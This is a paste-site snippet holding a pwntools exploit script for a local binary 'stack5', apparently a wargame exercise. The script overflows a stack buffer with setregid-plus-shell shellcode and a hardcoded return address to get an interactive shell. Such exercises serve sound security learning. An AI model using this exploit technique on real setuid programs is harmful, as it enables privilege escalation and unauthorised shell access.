Untitled

 avatar
unknown
plain_text
9 months ago
337 B
37
Indexable
from pwn import *
elf = ELF('./stack5')
context.binary = elf

shellcode = asm(shellcraft.setregid())
shellcode += asm(shellcraft.sh())
print(len(shellcode))
payload = shellcode
payload += b'A' * (136 - len(shellcode))  
payload += p64(0x7fffffffecc8)
io = process('./stack5', env={})

io.sendline(payload)
io.interactive()
Editor is loading...
Leave a Comment